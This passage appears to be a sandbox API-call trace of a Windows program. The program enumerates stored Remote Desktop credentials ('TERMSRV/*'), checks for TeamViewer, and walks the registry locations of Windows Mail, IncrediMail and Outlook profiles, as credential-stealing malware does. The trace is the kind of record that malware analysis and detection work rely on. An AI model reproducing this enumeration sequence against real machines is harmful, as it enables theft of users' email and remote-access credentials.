libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.957] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.957] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0054.957] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0054.957] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0054.957] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0054.957] CredEnumerateA (in: Filter="TERMSRV/*", Flags=0x0, Count=0xefd60, Credential=0xefd64 | out: Count=0xefd60, Credential=0xefd64) returned 0 [0054.958] SHGetFolderPathA (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 0x0 [0054.960] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.960] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0054.960] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0054.960] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0054.961] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd3c) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd50) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd54) returned 0x0 [0054.961] FindWindowExA (hWndParent=0x0, hWndChildAfter=0x0, lpszClass=0x0, lpszWindow="TeamViewer") returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd40) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0054.961] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Live Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd28 | out: phkResult=0xefd28*=0x0) returned 0x2 [0054.961] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Live Mail", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcfc | out: phkResult=0xefcfc*=0x0) returned 0x2 [0054.961] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Live Mail", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcd0 | out: phkResult=0xefcd0*=0x0) returned 0x2 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x158, cb=0x0, dwLockType=0x0) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x150, cb=0x0, dwLockType=0x0) returned 0x0 [0054.961] IStream:Stat (in: This=0x7473d8, pstatstg=0x150, grfStatFlag=0x0 | out: pstatstg=0x150) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.961] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0054.961] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0054.961] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd28 | out: phkResult=0xefd28*=0x3e4) returned 0x0 [0054.961] RegQueryValueExA (in: hKey=0x3e4, lpValueName="Salt", lpReserved=0x0, lpType=0xefd20, lpData=0x0, lpcbData=0xefd24*=0x7473b0 | out: lpType=0xefd20*=0x0, lpData=0x0, lpcbData=0xefd24*=0x0) returned 0x2 [0054.961] RegCloseKey (hKey=0x3e4) returned 0x0 [0054.961] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Mail", ulOptions=0x0, samDesired=0x20219, phkResult=0xefcfc | out: phkResult=0xefcfc*=0x3e4) returned 0x0 [0054.962] RegQueryValueExA (in: hKey=0x3e4, lpValueName="Salt", lpReserved=0x0, lpType=0xefcf4, lpData=0x0, lpcbData=0xefcf8*=0xefce0 | out: lpType=0xefcf4*=0x0, lpData=0x0, lpcbData=0xefcf8*=0x0) returned 0x2 [0054.962] RegCloseKey (hKey=0x3e4) returned 0x0 [0054.962] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Mail", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcd0 | out: phkResult=0xefcd0*=0x3e4) returned 0x0 [0054.962] RegQueryValueExA (in: hKey=0x3e4, lpValueName="Salt", lpReserved=0x0, lpType=0xefcc8, lpData=0x0, lpcbData=0xefccc*=0xefcb4 | out: lpType=0xefcc8*=0x0, lpData=0x0, lpcbData=0xefccc*=0x0) returned 0x2 [0054.962] RegCloseKey (hKey=0x3e4) returned 0x0 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x158, cb=0x0, dwLockType=0x0) returned 0x0 [0054.962] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x150, cb=0x0, dwLockType=0x0) returned 0x0 [0054.962] IStream:Stat (in: This=0x7473d8, pstatstg=0x150, grfStatFlag=0x0 | out: pstatstg=0x150) returned 0x0 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.962] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0054.962] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0054.962] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0054.962] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0054.962] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\IncrediMail", phkResult=0xefd5c | out: phkResult=0xefd5c*=0x0) returned 0x2 [0054.962] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\IncrediMail", phkResult=0xefd5c | out: phkResult=0xefd5c*=0x0) returned 0x2 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x158, cb=0x0, dwLockType=0x0) returned 0x0 [0054.962] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd5c) returned 0x0 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x150, cb=0x0, dwLockType=0x0) returned 0x0 [0054.962] IStream:Stat (in: This=0x7473d8, pstatstg=0x150, grfStatFlag=0x0 | out: pstatstg=0x150) returned 0x0 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.962] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.962] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0054.962] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0054.962] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0054.962] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0054.962] PStoreCreateInstance () returned 0x0 [0054.963] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Account Manager\\Accounts", phkResult=0xefd58 | out: phkResult=0xefd58*=0x0) returned 0x2 [0054.963] lstrlenA (lpString="\\") returned 1 [0054.963] lstrlenA (lpString="Software\\Microsoft\\Internet Account Manager\\Accounts") returned 52 [0054.963] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x756d60 [0054.963] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Identities", phkResult=0xefd50 | out: phkResult=0xefd50*=0x3e4) returned 0x0 [0054.963] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x0, lpName=0xef548, lpcchName=0xefd48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpcchName=0xefd48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.963] lstrlenA (lpString="Identities") returned 10 [0054.963] lstrlenA (lpString="\\") returned 1 [0054.963] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a770 [0054.963] lstrcpyA (in: lpString1=0x76a770, lpString2="Identities" | out: lpString1="Identities") returned="Identities" [0054.963] lstrcatA (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0054.963] lstrlenA (lpString="Identities\\") returned 11 [0054.963] lstrlenA (lpString="{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 38 [0054.963] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x756ca0 [0054.963] lstrcpyA (in: lpString1=0x756ca0, lpString2="Identities\\" | out: lpString1="Identities\\") returned="Identities\\" [0054.963] lstrcatA (in: lpString1="Identities\\", lpString2="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0054.963] LocalFree (hMem=0x76a770) returned 0x0 [0054.964] lstrlenA (lpString="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 49 [0054.964] lstrlenA (lpString="\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned 53 [0054.964] LocalAlloc (uFlags=0x40, uBytes=0xe7) returned 0x74dc68 [0054.964] lstrcpyA (in: lpString1=0x74dc68, lpString2="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0054.964] lstrcatA (in: lpString1="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="\\Software\\Microsoft\\Internet Account Manager\\Accounts" | out: lpString1="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts" [0054.964] LocalFree (hMem=0x756ca0) returned 0x0 [0054.964] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts", phkResult=0xef528 | out: phkResult=0xef528*=0x0) returned 0x2 [0054.964] LocalFree (hMem=0x74dc68) returned 0x0 [0054.964] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x1, lpName=0xef548, lpcchName=0xefd48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpcchName=0xefd48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0054.964] RegCloseKey (hKey=0x3e4) returned 0x0 [0054.964] LocalFree (hMem=0x756d60) returned 0x0 [0054.964] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Account Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd3c | out: phkResult=0xefd3c*=0x3e4) returned 0x0 [0054.964] RegQueryValueExA (in: hKey=0x3e4, lpValueName="Outlook", lpReserved=0x0, lpType=0xefd34, lpData=0x0, lpcbData=0xefd38*=0xefd28 | out: lpType=0xefd34*=0x0, lpData=0x0, lpcbData=0xefd38*=0x0) returned 0x2 [0054.964] RegCloseKey (hKey=0x3e4) returned 0x0 [0054.964] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Account Manager", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd10 | out: phkResult=0xefd10*=0x3e4) returned 0x0 [0054.964] RegQueryValueExA (in: hKey=0x3e4, lpValueName="Outlook", lpReserved=0x0, lpType=0xefd08, lpData=0x0, lpcbData=0xefd0c*=0xefcf4 | out: lpType=0xefd08*=0x0, lpData=0x0, lpcbData=0xefd0c*=0x0) returned 0x2 [0054.964] RegCloseKey (hKey=0x3e4) returned 0x0 [0054.964] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Account Manager", ulOptions=0x0, samDesired=0x20119, phkResult=0xefce4 | out: phkResult=0xefce4*=0x3e4) returned 0x0 [0054.964] RegQueryValueExA (in: hKey=0x3e4, lpValueName="Outlook", lpReserved=0x0, lpType=0xefcdc, lpData=0x0, lpcbData=0xefce0*=0xefcc8 | out: lpType=0xefcdc*=0x1, lpData=0x0, lpcbData=0xefce0*=0x36) returned 0x0 [0054.964] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x756d60 [0054.964] RegQueryValueExA (in: hKey=0x3e4, lpValueName="Outlook", lpReserved=0x0, lpType=0x0, lpData=0x756d60, lpcbData=0xefce0*=0x36 | out: lpType=0x0, lpData=0x756d60*=0x53, lpcbData=0xefce0*=0x36) returned 0x0 [0054.964] RegCloseKey (hKey=0x3e4) returned 0x0 [0054.964] lstrlenA (lpString="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager") returned 53 [0054.964] lstrlenA (lpString="\\Accounts") returned 9 [0054.964] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74ae40 [0054.964] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager" | out: lpString1="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager") returned="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager" [0054.964] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager", lpString2="\\Accounts" | out: lpString1="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts") returned="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts" [0054.964] LocalFree (hMem=0x756d60) returned 0x0 [0054.964] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", phkResult=0xefd54 | out: phkResult=0xefd54*=0x0) returned 0x2 [0054.964] LocalFree (hMem=0x74ae40) returned 0x0 [0054.964] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", phkResult=0xefd58 | out: phkResult=0xefd58*=0x0) returned 0x2 [0054.965] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", phkResult=0xefd54 | out: phkResult=0xefd54*=0x0) returned 0x2 [0054.965] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", phkResult=0xefd54 | out: phkResult=0xefd54*=0x0) returned 0x2 [0054.965] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", phkResult=0xefd54 | out: phkResult=0xefd54*=0x3e4) returned 0x0 [0054.965] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x0, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0a0d020000000000c000000000000046", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.965] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0054.965] lstrlenA (lpString="\\") returned 1 [0054.965] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0054.965] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0054.965] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.965] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0054.965] lstrlenA (lpString="0a0d020000000000c000000000000046") returned 32 [0054.965] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0054.965] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.965] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="0a0d020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046" [0054.965] LocalFree (hMem=0x74ae40) returned 0x0 [0054.965] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned 88 [0054.965] lstrlenA (lpString="") returned 0 [0054.965] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0054.965] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046" [0054.965] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046" [0054.965] LocalFree (hMem=0x9410768) returned 0x0 [0054.965] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0054.965] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="\x02", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0054.965] RegCloseKey (hKey=0x3e0) returned 0x0 [0054.965] LocalFree (hMem=0x9410850) returned 0x0 [0054.965] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x1, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="13dbb0c8aa05101a9bb000aa002fc45a", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.965] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0054.965] lstrlenA (lpString="\\") returned 1 [0054.965] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0054.965] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0054.965] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.965] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0054.965] lstrlenA (lpString="13dbb0c8aa05101a9bb000aa002fc45a") returned 32 [0054.965] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0054.965] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.965] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="13dbb0c8aa05101a9bb000aa002fc45a" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" [0054.965] LocalFree (hMem=0x74ae40) returned 0x0 [0054.965] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned 88 [0054.965] lstrlenA (lpString="") returned 0 [0054.965] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0054.965] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" [0054.966] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" [0054.966] LocalFree (hMem=0x9410850) returned 0x0 [0054.966] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0054.966] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="\x02", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0054.966] RegCloseKey (hKey=0x3e0) returned 0x0 [0054.966] LocalFree (hMem=0x9410768) returned 0x0 [0054.966] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x2, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="3517490d76624c419a828607e2a54604", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.966] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0054.966] lstrlenA (lpString="\\") returned 1 [0054.966] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0054.966] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0054.966] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.966] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0054.966] lstrlenA (lpString="3517490d76624c419a828607e2a54604") returned 32 [0054.966] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0054.966] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.966] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="3517490d76624c419a828607e2a54604" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" [0054.966] LocalFree (hMem=0x74ae40) returned 0x0 [0054.966] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned 88 [0054.966] lstrlenA (lpString="") returned 0 [0054.966] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0054.966] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" [0054.966] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") 